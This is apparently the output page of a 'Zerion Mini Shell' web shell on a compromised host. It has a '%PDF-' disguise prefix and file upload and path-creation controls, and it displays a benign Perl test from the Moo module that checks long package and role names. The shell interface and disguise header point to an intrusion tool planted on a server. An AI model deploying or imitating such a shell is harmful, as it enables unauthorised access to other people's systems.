%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/t/
Upload File :
Create Path :
Current File : /home/opti/optisoftcom/.cpanm/work/1544535406.20768/Moo-2.003004/t/long-package-name.t

use Moo::_strictures;
use Test::More;
use Test::Fatal;

{
  package Some::Class;
  use Moo;
  has attr1 => (is => 'ro');
}

my $max_length = 252;

my $long_name = "Long::Package::Name::";
$long_name .= substr("0123456789" x 26, 0, $max_length - length $long_name);

is exception {
  eval qq{
    package $long_name;
    use Moo;
    has attr2 => (is => 'ro');
    1;
  } or die "$@";
}, undef,
  'can use Moo in a long package';

is exception {
  $long_name->new;
}, undef,
  'long package name instantiation works';

{
  package AMooClass;
  use Moo;
  has attr1 => (is => 'ro');
}

for (1..7) {
  eval qq{
    package LongRole${_}::ABCDEFGHIGKLMNOPQRSTUVWXYZ;
    use Moo::Role;
    1;
  } or die $@;
}

is exception {
  Moo::Role->create_class_with_roles('AMooClass',
    map "LongRole${_}::ABCDEFGHIGKLMNOPQRSTUVWXYZ", 1..7)->new->attr1;
}, undef,
  'generated long class names work';

done_testing;

Zerion Mini Shell 1.0